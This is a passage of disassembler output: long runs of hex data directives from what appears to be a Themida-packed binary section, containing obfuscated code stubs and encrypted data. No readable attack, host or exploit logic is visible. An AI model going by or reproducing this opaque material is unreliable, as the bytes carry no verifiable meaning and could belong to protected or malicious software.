647C2169h, 343EC253h, 5F91AE40h, 0EC8A090Bh dd 7E4FFB5Eh, 5998D253h, 0A2452A5Dh, 4FBBCC6Ah, 0D5F8E556h dd 0B336FE37h, 83D8AB6Fh, 43144E53h, 74CEAD77h, 0F2D3F311h dd 6E31031Dh, 0DE0E6C32h, 0CCAB563Eh, 0DEA6DD0Bh, 0E00DBD46h db 6Ah byte_54E081 db 2 dup(8Dh), 0B1h ; DATA XREF: Themida_:004EEB5Co dd 8905E804h, 0E20EA585h, 0E98D8905h, 6A05E20Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0A60AC352h, 0C7B2C51Ch, 0E2076185h, 598005h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 5858B58h, 0C705E231h, 0E21B5585h, 5, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0ACA07C26h, 962B5C64h, 0EE9B9h, 0A7580000h, 0C4542A8Ah dd 610727E2h, 775DC38Ch, 28A0Fh, 0FE8B0000h, 3045B5FFh dd 8B6605E2h, 1595FFDEh, 6A05E20Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0D379C352h dd 79858922h, 8B05E213h, 0E21041B5h, 0FF006A05h, 0E20AB995h dd 0EBC08B05h, 7F151F0Ch, 4A80CF7Eh, 0A0D95206h, 268D8D23h dd 6005E805h, 6887E881h, 8D89733Ah, 5E21369h, 0E98D8961h dd 0C705E20Bh, 0E2076185h, 6B1405h, 0F98B6600h, 1B5585C7h dd 5E2h, 830F0000h, 8, 2850Fh, 0FD8A0000h, 1D05B5FFh, 95FF05E2h dd 5E20B15h, 871958Bh, 820F05E2h, 6, 118D9D89h, 6A05E2h dd 0AB995FFh, 0C08B05E2h, 2B3E6CEBh, 421E3578h, 49B0A9C7h dd 50D327FEh, 0D97E01DCh, 8C27D1C4h, 0A11E3249h, 663CC5EEh dd 0E55A3607h, 9500E97Ch, 747E228Bh, 14A014FFh, 0F6EC19A3h dd 0A48CC1Fh, 0B2C51CA6h, 0B87043F0h, 4518081Bh, 23E42FF4h dd 0B957863Bh, 326C5F6Eh, 0C2375D03h, 7139A374h, 0B0739AA4h dd 2E049393h, 0D1C6E24h, 50160E6Bh, 45DA41B9h, 79EB2CBEh dd 0EF9E7D00h, 0FE2218Ch, 9FABAFD6h, 7C4DB297h, 95B7E3h dd 0E9A9E572h, 9BB69CB5h, 0B6F37760h, 9EB794A9h, 7D60D760h dd 9EA9BD89h, 729EBD8Ch, 4A95ACE3h, 9BB98B20h, 9D89937Eh dd 0AFF496B9h, 94A19E96h, 91A7D6B5h, 48D100FDh, 33594ACCh dd 5200713Ch, 0F357DB4Dh, 9BB7D65Eh, 0AFF600B7h, 9F8995ABh dd 7156F000h, 0BEB3D7C7h, 56711800h, 0E2ADC4D7h, 9A33E773h dd 0F6CE93Dh, 0F7680000h, 0E905E807h, 0FFFA79F3h, 0E808EE68h dd 79E9E905h, 0EA68FFFAh, 0E905E809h, 0FFFA79DFh, 0E80B2268h dd 79D5E905h, 0C068FFFAh, 0E905E80Bh, 0FFFA79CBh, 0E80C4C68h dd 79C1E905h, 0E968FFFAh, 0E905E80Ch, 0FFFA79B7h, 0E80D9268h dd 79ADE905h, 9968FFFAh, 0E905E80Eh, 0FFFA79A3h, 0E80FA668h dd 7999E905h, 0FB68FFFAh, 0E905E810h, 0FFFA798Fh, 0E8131868h dd 7985E905h, 68FFFAh, 0E905E814h, 0FFFA797Bh, 198501F7h dd 0E2E8AC28h, 4B575B9Fh, 1DB9FFF6h, 0E5E1AF2Ch, 0E516A74Eh dd 8B4E33DFh, 32A89905h, 0D801606Eh, 0F90834D2h, 0F0BF1F50h dd 8F4F36F9h, 0D823696Eh, 0BC5A6099h, 8FB296BBh, 0FAD84C2Ah dd 9DE84701h, 0FAA7BFB4h, 4C4A8DF9h, 7442B639h, 6FEC3F85h dd 400AEB32h, 7AFC0C74h, 2DCA078Ah, 2F613FE6h, 45000000h dd 0D0577B18h, 0FAD1C777h, 0DA211E01h, 0FAA1C07Dh, 1352D3F9h dd 0DA45A0E6h, 0FAA1FC7Dh, 0E15E15F9h, 63A69ED8h, 3FE62BAEh dd 1021Dh, 0EFAE2100h, 1045A0EEh, 0BC04EF07h, 862737A4h dd 0D981EDBh, 948B19C2h, 446521D5h, 7B41B639h, 485685C4h dd 6C6DD47Fh, 327A02Eh, 0E1FC1807h, 57703CBEh, 0B6A9EFE8h dd 7A19237h, 30ABFC18h, 0B4D21B62h, 127EA23h, 0C73CCC4Fh dd 1E8120E6h, 189CB8B9h, 0AF1269FCh, 0DC196C2Ah, 1593440Bh dd 0FA1439F6h, 189C1C5Dh, 17E35FCh, 169C5F1Eh, 88CB4AB5h dd 7DDA4D53h, 0FC189CFCh, 248D5E15h, 1FACFEAh, 1C9A5F1Eh dd 7CDD4C89h, 0F9FAEFFBh, 1E8C5D2Ah, 9304A521h, 4C7B21D4h dd 0C5BE0F27h, 54F57458h, 41F60D5h, 5B6990D3h, 382F0482h dd 0EE3D8179h, 92D55C6Dh, 0CABF5B69h, 4E668311h, 1DFE7DD6h dd 0CD82908h, 5F990000h, 0ACABF5Bh, 0B921008Eh, 5D98E9F5h dd 0DCEB35Fh, 5EC1B87h, 517D43B8h, 3FDBE910h, 860C904Ah dd 6A7036A3h, 0BDBE1B6Ah, 54F9F0BEh, 6D6EED29h, 11C6BB27h dd 18410F8Bh, 51D0577Bh, 1AA3E9EEh, 0FAD181B1h, 641B5001h dd 0C9CF38F3h, 0FA9DEF60h, 0C04926F9h, 1AA3F140h, 0B9191673h dd 0CC0AF9FAh, 19DD4AF8h, 42F35458h, 93F9FA20h, 0E1D3B3A4h dd 0EA274364h, 433FE653h, 0C0D283D6h, 0A8310B4Eh, 0AE6Bh dd 696E5F00h, 6499D823h, 0C462CF5Eh, 0E4FC18BDh, 9829B5F3h dd 0BDBFB019h, 1956FC18h, 525881C0h, 7D51FECBh, 0EE356DCAh dd 0E75C01FAh, 0B553F0FBh, 0FA8C2314h, 0EAB029F9h, 473C5A93h dd 0D594170Ah, 1F066521h, 0FA8CB9BAh, 0A61368F9h, 5C9EBC05h dd 3A71041Fh, 9974407h, 4CC48116h, 6654CDF7h, 0FBE04145h dd 0C65E48B5h, 7411FE7Dh, 0BE12Dh, 52568000h, 8501F5B4h dd 0ECB02819h, 565483E6h, 0BE04F948h, 0A3FC9B10h, 1B6E743Ah dd 7534D2E0h, 0AA9F3B87h, 63636F2Dh, 0B1B4A502h, 206DF9F0h dd 276D6EFAh, 367C6120h, 47B0F195h, 6E9F4541h, 99D82369h dd 12F68660h, 643AD7B1h, 1ADEA32Fh, 0BCC7796h, 0BE1B9A8Dh dd 0FC1800BDh, 0D8CE1F54h, 0D08126A9h, 1FC1800h, 0BBFFF72Ah dd 332B5E22h, 44073A2Eh, 4DB41593h, 0FA7AAEECh, 568AE101h dd 586494D7h, 0D63F88CDh, 0F6402958h, 2A5D711Eh, 0B6246C6Bh dd 0E52CBDEAh, 963BE244h, 934706FCh, 0B3CAD805h, 3DBECD3Ah dd 1E017EACh, 8A119D5Fh, 0B32D2E8Bh, 8FE4FF57h, 15E28952h dd 84252408h, 2B1390Eh, 0D402DBAh, 0C6344B3Bh, 2C46F061h dd 1D4A21F5h, 682B5ECCh, 9FDC2F6Dh, 2C468DCEh, 505E9FF5h dd 0AD9A8035h, 498EF170h, 0F5E24743h, 96564AB7h, 7015010Fh dd 0AE511h, 56528400h, 0B9FDF948h, 0E0AC2C1Dh, 4A5087FAh dd 0B200FD4Ch, 0A7F89F14h, 1F626836h, 79C8D6DCh, 0AE933F83h dd 7F676329h, 0B0B0A106h, 3C61F9F0h, 23696EFEh, 3D797D3Ch dd 2B2881ACh, 23A70007h, 0DA01FAEAh, 0E976616Dh, 1DE542C5h dd 740418FDh, 0E2A5EC3Fh, 3B54B7F5h, 0DAD3554Ch, 5770ADF2h dd 0DC97710Eh, 10E462F7h, 0C8414499h, 48EB45h, 25640000h dd 14D2EBB7h, 0A7EBEFAEh, 0C202D06h, 129E5A1Dh, 0E3D64079h dd 21BAD111h, 55E659FEh, 300F01FBh, 0DC8C4E31h, 0DEB41BABh dd 0B6E0690Fh, 0BA944548h, 5F881643h, 0F9FA8E20h, 27A3E9EEh dd 0F1149842h, 0A2DAEh, 7B18D400h, 0E1199F5Dh, 342B60DDh dd 0BFA093h, 3067D02h, 0F5119740h, 0E354F574h, 32F9F0BFh dd 0F465C245h, 2DF9F0BFh, 0DCA7556h, 0BF73E445h, 0D5A2F9F0h dd 0AFB40D98h, 9C46B1h, 0E1456745h, 0F17A81FEh, 0A6248584h dd 5907E8FEh, 0BDFC7FE2h, 0AD2E7D39h, 0C8FCDB9Ch, 0AC3D0AF7h dd 0F7B52265h, 5B6196EBh, 0D91E41C0h, 2C310AD3h, 2AA00938h dd 0ED0A2A96h, 33616996h, 5F2AF892h, 9ADF4h, 0E8A4C00h dd 7135A180h, 0D8E41455h, 2884F32h, 6A38A584h, 6F30D76Ch dd 0C7BA206Eh, 21008E14h, 96EBF7BBh, 0B7BF5B61h, 0B268E94Eh dd 0F4B9F9F0h, 0B9FB8836h, 92BFFC18h, 0AF088BBEh, 0FC18B9AEh dd 297C38BCh, 18C3A6ACh, 58C5D8Ah, 0BE2EA4h, 7AB6C102h dd 4D959568h, 73323562h, 679A0086h, 5E23B9F2h, 0DDEE6325h dd 0C4276592h, 0DF4266EBh, 35505C9Ch, 796CED4Ah, 0CEA5F9F0h dd 0E3A92E91h, 0D4F257DAh, 0F04122Ah, 5EFFBD3Ah, 0FA203D33h dd 368A585h, 0FE79F641h, 0F543F4Ah, 0AE000009h, 3666C28h dd 76CBD7D3h, 0D1903E82h dd 77A6026h, 0B5C2C8D6h, 860CF1CEh, 0ECB22918h, 555983E6h dd 0B9FFF849h, 77D0511Dh, 0F9F0B2C6h, 6ED4161Fh, 99D82369h dd 0A9C35A60h, 0DC0473Fh, 0A03A040Fh, 0B1D79821h, 310EFC18h dd 44A6BA8h, 185F0000h, 109E5D7Bh, 0B425A4DBh, 43EE45A5h dd 72DBEC3Fh, 2005BA8h, 0DA9D8CFBh, 0E739F1Dh, 0DFB8C3C9h dd 0F9F053A2h, 0D25579E6h, 12005175h, 76B38804h, 0FE797770h dd 834F1673h, 22000008h, 97EAF0B4h, 0CABF5B5Fh, 2504820Eh dd 9BEEF4B2h, 39B65C62h, 0A98455Ah, 703EBD8Ch, 0D9E5176Ah dd 0D8B4C3Dh, 3A4DD81h, 0F9F0B552h, 6E588283h, 0ECB22969h dd 0ECED54B7h, 382EBBAEh, 61B0C355h, 51FB825Bh, 35E81F17h dd 9A3A04CFh, 3BCh, 0B9FB88ACh, 4609FC18h, 0C5BE0F95h dd 54F57458h, 200BFBCh, 4E5489C8h, 2F52297Dh, 0A12D6B6Ch dd 10964100h, 0F86740F5h, 786B9FFh, 0F0BFB1A2h, 0B20B60F9h dd 1D315EABh, 0EC19CD6Ah, 7B300412h, 7A5B223Eh, 2D7411FEh dd 7E6h, 49555187h, 12B8FCF8h, 0FBE7AB2Fh, 4D494F86h, 15B1FFFCh dd 35A6F79Eh, 0DB1E636Fh, 8278C9D5h, 28D1903Eh, 9786462h dd 0F0B5AFA0h, 0FF3F66F9h, 0D823696Eh, 542FC059h, 0BB5AD800h dd 0FCBA3F22h, 0EFB526A9h, 1BA7559Ch, 463E2880h, 64E7A6F2h dd 186192C3h, 0D3F443FCh, 0B9149B6Bh, 163A04E7h, 30Ch dd 0B9FB8828h, 92BFFC18h, 52E8BBEh, 8C0200BFh, 8E31B0B7h dd 0F0BF2829h, 3982F9F9h, 0DFFBC136h, 0B4256D6Ah, 9562B9F6h dd 0DB817888h, 0D350ECA2h, 0E046E366h, 1B04124Ch, 0C123C72Ch dd 91F4FE79h, 73DCEh, 0BEFAFC00h, 0E1A55110h, 485484E5h dd 0B2F8FF42h, 1AA85514h, 1FA047FCh, 77CAD0DEh, 0D1903E84h dd 67B672Bh, 7CFCBD1h, 0B41859FEh, 44C9F9F0h, 23696E86h dd 822CBD3Ch, 0B636F965h, 0C2A394B5h, 572FC18h, 179699A4h dd 0C2023394h, 64D3FC18h, 18C292C3h, 0F7FE43FCh, 0B4E16AB1h dd 0EDAB2C13h, 0F2C2649Eh, 0D2555384h, 0C5206693h, 0D5533790h dd 3A048EF8h, 1157h, 2FAE6B00h, 18B9C98Ah, 9A2318FCh, 23F37h dd 0C5884F00h, 0B5FC18B9h, 248584A8h, 200BF00h, 43518AFFh dd 9FD07938h, 0B6F9F0BFh, 0D0578CF9h, 86276B91h, 0B019981Bh dd 0F9F0BEBFh, 81C01956h, 0BA2F5258h, 696B4638h, 2DF9C2E9h dd 6A1D9B5Ch, 5246C9FDh, 19DE0843h, 96C30893h, 84E7A353h dd 12EF7657h, 0A726590Dh, 50ABF1E4h, 0D79C21Bh, 7F041237h dd 713DBDFCh, 0D798A12Ah, 0EF7D3B7h, 572A831h, 798604F8h dd 0A382E7FEh, 636h, 198501F7h, 0E2E8AC28h, 4B575B9Fh dd 1DB9FFF6h, 0E5E1AF2Ch, 0E516A74Eh, 8B4E33DFh, 32A89905h dd 0D801606Eh, 0F90834D2h, 0F0B71F50h, 8F4F36F9h, 0B129696Eh dd 0E05D9EEDh, 1F9D5A85h, 0F4768Ch, 8F4D45B2h, 673F803h dd 36278003h, 0EFFC18B9h, 0D5533790h, 3A0413F8h, 13E71255h dd 18B585B6h, 0AAE75CFCh, 0B52112B7h, 0BBF0FC18h, 1FFD22h dd 3B7A0000h, 2DAEFDC1h, 39AEAE9Ch, 0E1753C32h, 5A1BBC8Dh dd 8BFC181Dh, 1B6647BCh, 130h, 0EAEFAE23h, 82B21BACh, 46FC18B9h dd 6BBDE8D1h, 4A93F9B8h, 7F2EC71h, 0B4046B3h, 0ECE8ABDEh dd 0E6125DA8h, 0DD0A43DAh, 0B125EABCh, 0AF387CB3h, 0AACC760h dd 0EA410200h, 0C5C33477h, 873FA8D9h, 34258216h, 0EDF9F072h dd 5D138596h, 7F78E7C0h, 815E239h, 26842524h, 42041278h dd 83B4FAD5h, 75C65753h, 0D2832402h, 3F7D298h, 0B8EEFF34h dd 72B8A6C3h, 0EEBBFE7Ah, 52987h, 8A0EC800h, 0FDB93D0Ch dd 246890D1h, 8E0CCBBEh, 0F6BC2100h, 0EBB453E8h, 4326ACF2h dd 0BD8C0A98h, 1257733Fh, 3B3BA7E5h, 0B6EC6DCAh, 7825F9F0h dd 23696EB2h, 5A6099D8h, 8D5780C3h, 0D43F4984h, 0DB229F78h dd 0CD585C98h, 35091E54h, 0A300C833h, 175CBBBh, 7663CFA7h dd 31ECAA30h, 9E3A042Eh, 0Ch, 4A8EA0h, 4C0F0000h, 0CDB9028Eh dd 0D823696Eh, 87866099h, 4A0AA43Dh, 0BA2540BDh, 2112B73Bh dd 0F0FC1860h, 0B43F4EBBh, 0D8264543h, 2C52A69Eh, 0ADEC9A6Ah dd 1958612Dh, 6A24D0E0h, 91DA216Fh, 5F94C124h, 262EB3h dd 0ACEF0000h, 6E5C6D2Bh, 3C23696Eh, 0EE3D797Dh, 0B95102A7h dd 0AB80FC18h, 79C66D7Eh, 0FC18B9C5h, 68D6AE98h, 0A7AD296Fh dd 0D823696Eh, 964462EFh, 0DAADD0Ah, 200BF4Eh, 9E1CDD9Ch dd 0FF62D94Dh, 2B723EBCh, 0AE01F17Eh, 6DDAE8F9h, 6592D55Ch dd 11C6BB27h, 4E31708Bh, 76E7068Ah, 0D3F79C55h, 46DF0BACh dd 337607E8h, 978AC7C3h, 796523D4h, 56C9CF08h, 4DD8E617h dd 0ED94BF08h, 0E8612FAAh, 61C40243h, 0FCB516FFh, 4DCC7357h dd 0FAC3D10Ah, 2A372591h, 0BD5BFC0Ah, 0D323A23Fh, 5ED25F94h dd 0DDF89236h, 3D4E948h, 63950000h, 0EC6BB27h, 0BD3D0C8Ah dd 6194D5F1h, 11CABF5Bh, 9E80783h, 5D7947B4h, 3BA7EDECh dd 82089446h, 567C3ABFh, 81B2176Eh, 50F9F0A9h, 696EE92Dh dd 0BCE9AD29h, 8FAF1C8Dh, 57397CA8h, 28D19076h, 1FD81B62h dd 0DDB95245h, 7EABA3B0h, 2030599Ah, 8FC0699Ch, 46FC18ECh dd 2447BCE9h, 0EA582C8Eh, 0B87673EDh, 2A1A6D9Dh, 76ABD1FDh dd 0D53A042Ch, 2Eh, 577B18E9h, 53877D0h, 0E65D01FBh, 0F6BA2063h dd 0F5C07FE8h, 9CEF9FAh, 0B8220783h, 6FEE91F4h, 0FAF589CAh dd 0DAE358F9h, 33177h, 7B188F00h, 1377D057h, 4A01FAD1h dd 25C85221h, 0CE3B498Ch, 0C5C334BFh, 0FCBA3FA6h, 0E8B426A9h dd 19A7529Dh, 93D54982h, 0A8295DA3h, 5FAEF4E9h, 682EAB1Eh dd 470FD81Dh, 0C4E8756Fh, 7BA6E445h, 62D90418h, 30EE7364h dd 0DC7BA697h, 0CB007FF7h, 1397F354h, 71CE0A3Eh, 291359CEh dd 0D6044154h, 815A6893h, 3C827BFAh, 6F4701E9h, 45C4E875h dd 5C0EA6E4h, 6462D910h, 0B7D6D405h, 0C1CDCB0Ch, 22250916h dd 0D68720A3h, 0FEB904Eh, 684E9730h, 0A316722Fh, 5BE8B1D4h dd 48E173AFh, 4F5586C9h, 8900F47Eh, 576F2554h, 2AFBh, 54F57400h dd 0E173A7E3h, 86644532h, 0D0577B18h, 0FAD1C777h, 0DA211E01h dd 0FAA1C07Dh, 0A195D3F9h, 0E62BB36Eh, 0F5183Fh, 6E220000h dd 99D82369h, 44CF5E64h, 0B1D4D205h, 3BBCA304h, 24672E7Dh dd 5B90EBB1h, 9C1ADF82h, 7CFA7CEDh, 79B2F6A1h, 0C8416C8Ah dd 3A831DF0h, 6E4FFB6Ch, 7C7DFC18h, 6EE253F4h, 8F28FC18h dd 0FC186ECEh, 5F222807h, 68A51298h, 0DCDA1F62h, 0FFD37049h dd 0C808DF48h, 0FDCECE57h, 0E57619F1h, 5374FBBFh, 0EF9B8B2Ch dd 7DCA01FAh, 0D5F96651h, 3A99F552h, 0A82B041Fh, 0DFB04E0Fh dd 1FA887F7h, 0CA8DBC8Bh, 0B9C8311h, 0AF0FE21h, 65F66786h dd 34A7CEF6h, 0F2A8316Eh, 3B404E8Fh, 0FE7D3F5Fh, 0B7D2BDC8h dd 76000001h, 0AB9E0480h, 1E636F2Bh, 79C8D6DAh, 0AF92387Eh dd 0CD7A602Eh, 5E649926h, 840AF1B0h, 0EDB12B1Eh, 515780E1h dd 0DF7889B5h, 0F9F0AA9Eh, 6E0CCEB7h, 0B4CED6Dh, 0DAFC18B9h dd 4E31306Dh, 0B8FB0286h, 18B95E1Fh, 43B8F7FCh, 1CDDAC7Ah dd 184A709Eh, 169A5D7Bh, 306DDADEh, 0D1A6A831h, 27901FAh dd 129E5C1Fh, 0D279428Bh, 0FAA1F875h, 996DEBF9h, 0E62BBB16h dd 0AD103Fh, 0AE2A0000h, 12651139h, 5C6DBC9Eh, 47A6E415h dd 21DBDF1Ch, 0C05B5F97h, 9AE15E8Bh, 18C889BDh, 783EBBFCh dd 0ACEAEF52h, 6697D659h, 5582CD58h, 0E8C11A57h, 67C0476Bh dd 1FAAEA7h dd 726561DEh, 0E146F9EDh, 41FFE4Eh, 0D659C8A7h, 0FE41F257h dd 0DB90F7DFh, 109E5F02h, 0E0AC2E11h, 93775085h, 1A672DAEh dd 0FE7D4C7Ah, 0CFBD84E1h, 6E000000h, 0C3A62C68h, 360B9713h dd 91D0FEC2h, 0C7BA2066h, 0F5028816h, 464CB10Eh, 0ACF2E958h dd 15994326h, 793FB889h, 0B710915Dh, 0F9F0AD86h, 6E14D65Fh dd 6120276Dh, 60D53076h, 0F9FE4347h, 6E2917B3h, 99D82369h dd 0DBC5A60h, 0A91CB29Ch, 289FAEC0h, 5992E9AFh, 86AAB780h dd 2D970083h, 0FF2D1A72h, 0C974DDEEh, 402009Bh, 10B9382Fh dd 0F9F0935Fh, 9346B9F6h, 6C7DFE0Dh, 53599EC1h, 8705F2B7h dd 0F54D1B64h, 0BEF83162h, 3F9B8C6h, 0B6232EBFh, 6EBDFBFAh dd 9CDD7AEDh, 0B5C242E9h, 240581FEh, 2F96F5B3h, 589BE2A8h dd 0A7E5129Ch, 43DA1744h, 0B7D6DA00h, 0A018EC6Eh, 1A685C06h dd 9826D5DDh, 15C2A723h, 32D7497h, 51000000h, 686E9DA7h dd 6196D92Ch, 5B81C05Bh, 4E8D3457h, 41BA2540h, 34A92873h dd 21D41F6Eh, 19C1009Bh, 7CF7695h, 50F27883h, 405E089h dd 2D000000h, 4, 5C240487h, 68242C89h, 7BBFh, 68242C89h dd 4E77h, 0BD243489h, 47922115h, 36B3E581h, 0C5817A08h dd 0FFFFFFFFh, 78ED8145h, 833C1819h, 248904ECh, 24048124h dd 4, 8B8505Eh, 1000000h, 0BB53F0h, 1000000h, 5B2B89C3h dd 24348B58h, 81E38953h, 4C3h, 4C38100h, 87000000h, 0FF5C241Ch dd 815D2434h, 4C4h, 6A9DE900h, 0BAC5FFFAh, 5E53D47Dh, 0EDBD1A0Fh dd 0F4B83C38h, 305E814h, 0CBE0FFC5h, 3518861Dh, 0F6EF38Fh dd 8B55D0B7h, 0BC2C178Dh, 3F7EBE46h, 266E8AD2h, 92778B0h dd 0E36CBBE2h, 55677D57h, 0C452D257h, 4D3EB1DCh, 9C73A448h dd 0C53F1D9Ch, 322AD348h, 0C23D3F5Ah, 6171A74Dh, 8153705Eh dd 5B213C3Dh, 0E807CF47h, 8E784882h, 0EB435D7Fh, 673FD9C8h dd 1F1D327Dh, 77516611h, 0FD30AA41h, 10AD3C3h, 8D084A11h dd 0E82D9911h, 0Dh, 97C9E88Ch, 0E455832Bh, 0CF938C11h dd 0FE8B574Fh, 0B8665A5Fh, 0C2816647h, 6EF1h, 1B9468F5h dd 8C0F0000h, 17h, 11880Fh, 0CE90000h, 0E7000000h, 0BB54DF48h dd 8211E256h, 59089557h, 0D880Fh, 0B9600000h, 34E6B835h dd 22CEE081h, 0FF617665h, 0DE932h, 0BCCB0000h, 7A9CECFFh dd 0C7C3EE77h, 5B31C300h, 2A75B866h, 0CFDCF381h, 830F14F9h dd 1, 0D7EB81F9h, 815A189Ah, 0FB93CDF3h, 0CF81662Fh, 1A89F5EFh dd 0E7CEEE81h, 0EA830238h, 0C38B6604h, 0F01E983h, 0FFFFB285h dd 3FBE66FFh, 17DE9D6h, 5D600000h, 16C4FFEh, 0D1D76FC2h dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0) dd 0F8000000h, 0A43736D1h, 0ADD3C20Dh, 0E9276215h, 1055h dd 0E81A1168h, 3596E905h, 1368FFFBh, 0E905E81Bh, 0FFFB358Ch dd 0E81CB968h, 3582E905h, 0A168FFFBh, 0E905E81Dh, 0FFFB3578h dd 0E81EE168h, 356EE905h, 0B968FFFBh, 0E905E81Fh, 0FFFB3564h dd 0E8206E68h, 355AE905h, 0E768FFFBh, 0E905E820h, 0FFFB3550h dd 0E821E768h, 3546E905h, 7A68FFFBh, 0E905E822h, 0FFFB353Ch dd 0E8233168h, 3532E905h, 0FF68FFFBh, 0E905E823h, 0FFFB3528h dd 0E824C268h, 351EE905h, 1468FFFBh, 0E905E826h, 0FFFB3514h dd 0E8270568h, 350AE905h, 57D2FFFBh, 219D6504h, 0E445BDDCh dd 0AC08F699h, 6DCE3057h, 0EA250F12h, 0FF82DD5Eh, 3B5EA303h dd 721568C7h, 0B0D72C8Ch, 48334EDAh, 0EDA0059Bh, 18473C0Fh dd 0F8EBEBC6h, 97593799h, 954D515h, 0EAC30C24h, 0C72BA9BFh dd 0CFF32A06h, 0E771106Dh, 0D7569619h, 5B68A784h, 0C87EF7Dh dd 0BAD3C964h, 86AEABCFh, 0B7D906Bh, 0D62B8BA0h, 0C5A68A5Bh dd 1DDAA9E0h, 14A00B7Eh, 0E5CD4497h, 54F13885h, 67FA671Dh dd 0A00B7D94h, 59D5BA99h, 3D80FFC1h, 0EF661A53h, 83E8DB9Fh dd 2F40h, 2F479700h, 0EDB3E992h, 836D4EA5h, 9A1B7DE1h dd 16FBC847h, 0CC15E77Ah, 3B18ABCFh, 9BD2A1FCh, 0BCF5A00Bh dd 0FD414D08h, 0D8E283E8h, 0F5000000h, 0C7328F11h, 0EA2578FBh dd 73D02C92h, 459DBA5h, 0AF0DF38Dh, 0B0E0F12Eh, 9C61E284h dd 156ACAB4h, 1F31D47Bh, 865FA770h, 51749BAAh, 64A5ECC9h dd 2698BF04h, 663E79C6h, 0EAC61998h, 0D17F1458h, 0CEF114BCh dd 45E4C7ABh, 0CE2D932Bh, 0C270473h, 0A00A8E6Bh, 6705D3B0h dd 51EC84FFh, 0A5EF419Ch, 790EA75h, 0CBA7ECD1h, 0F9367773h dd 2E7C4B3h, 0D4278876h, 97EA4DB5h, 5036D904h, 85FA3F7Ch dd 0DE8h, 375AA500h, 0F126FCBh, 48EF32B3h, 82A5FA76h, 0C160BB3Ch dd 2B8C3877h, 0F171B1D0h, 0B6358DACh, 7AFAC46Bh, 10280225h dd 599FAFDh, 6A5D3FA0h, 25338E11h, 434935BAh, 0ED244D2Eh dd 50F1D2A5h, 917F23BEh, 51AE0EF0h, 0B239A6CEh, 0B8B8F152h dd 4DCAAD8Bh, 0ABC65229h, 0ABCFCBD1h, 0B58D21Ch, 337E5D2Dh dd 0B9B975Ch, 0C3209AA0h, 0B50A6A54h, 45FB727Ah, 0E5CBA7D3h dd 0E8FD3489h, 4B692877h, 0B9972398h, 3579FC80h, 0DE83E87Fh dd 0ABh, 328F11E1h, 5978FBC7h, 29CB2ADCh, 409D199Ah, 7C139E63h dd 0A5ED9849h, 90B70C6Ch, 0E771CE2Eh, 0F00D9B19h, 0A5ED8F07h dd 8E6A4F2Ch, 94EF7717h, 0BFEF61FCh, 1E2ABCFh, 0E398DC7Eh dd 73F33D55h, 312F422Eh, 0CCA5F00Dh, 20140193h, 866BFA4Ah dd 650D52EAh, 861DBCFFh, 15965830h, 0D85BA7CAh, 48C71C98h dd 0E207967Bh, 27C5084h, 0CE6BAF7h, 0A7020000h, 71CD3554h dd 34B50D2Ch, 0FC7846E9h, 0BD3E80A7h, 3A75DF62h, 4FD22D8Eh dd 8BAEF373h, 0C265B837h, 277CFCh, 0F8831E2Ah, 3DA00598h dd 8E116C5Fh, 52D22C33h, 479D6A0Dh, 6DA4F979h, 0B3FDFE13h dd 4122A5EDh, 4AAA947Ch, 0B35823BEh, 0FEDDA5EDh, 7055AA04h dd 4A2D40D8h, 0EFA5EDB3h, 0C5ED240Ch, 0DB7B1E63h, 3D50F893h dd 0ABCFB3EFh, 334EC9AAh, 0A00BB244h, 0E7126FCFh, 911FD0BAh dd 0A29CAFC1h, 0B5BFFA45h, 9A1008BCh, 63C0208Eh, 0AD28DC95h dd 83E8DA61h, 7B02h, 294DD500h, 21AEC652h, 0C78017C1h dd 0EC8FA6D2h, 31A5ED8Bh, 0B390ED4Fh, 98304DE5h, 3BABCFB1h dd 0E2AF3058h, 6690A1E4h, 0D1ACE5B3h, 0A00AE022h, 0C34E9311h dd 0F33E83FFh, 0C256EA5Fh, 0EC671D54h, 83E83DA0h, 3341h dd 2F479600h, 0EDB3E992h, 836D4EA5h, 6A067DE1h, 0CFCE1DD7h dd 0E413F0ABh, 0B9AEA89h, 20A49DA0h, 0E8FC5955h, 10FA83h dd 4D920000h, 0A565841Eh, 0FFB89001h, 8C460h, 2F475700h dd 0EDB3E992h, 836D4EA5h, 6A067DE1h, 0D5CC3CD7h, 0CE2F11ABh dd 0ED30B373h, 94BC81A2h, 0D275CA2Ah, 0AAF574BAh, 2380E0CEh dd 0D6529CF4h, 0EA31CBF5h, 391E1A23h, 2C6FF0FEh, 15E3C0E5h dd 0FC94EF77h, 0DC1E9A64h, 513F1C5Fh, 0ED69E23Ch, 9EBA99A5h dd 0A853EE06h, 8D9A1D3Ch, 7CFCC2AEh, 6E80027h, 0B77957ACh dd 0DDA1E835h, 3E56E299h, 1D3CD8A3h, 927E5D9Ah, 571967FAh dd 37149FFFh, 3BC38DE4h, 114EAB82h, 0B40h, 6FF24DA8h, 0A7CA1793h dd 0E087DA5Bh, 3A5DA21Eh, 791863C4h, 0D354E01Fh, 9919E988h dd 5EDD2544h, 22827C03h, 0B8D0BADDh, 5975225h, 2F5D7A0h dd 0EDB4B542h, 0C7BC20A5h, 24CE11A9h, 0CA997D33h, 0C3DE99B4h dd 6043A5ECh, 0A25DF088h, 97ABD4DAh, 0D3529CB4h, 543C0188h dd 364D9135h, 0C404871Ah, 1649A5ECh, 832B340Ah, 0BBD5BA9Bh dd 0CEAAF775h, 6B861EB6h, 9A1BC590h, 0C5B740DDh, 9F7C9A1Bh dd 8EE8DAB9h, 0BE5C631h, 0DB7EC325h, 0F13885E7h, 364E49ADh dd 2AA94F68h, 7189A784h, 0A3EE338Fh, 8F9BB682h, 0F6A00439h dd 33B57B15h, 0F5774BEEh, 0C23E80A8h, 4711327Dh, 0F829B6CEh dd 0F5ECB74Bh, 0A550EDCBh, 0CC14346Ch, 2D45D3A8h, 346CE790h dd 816F4C14h, 901054E9h, 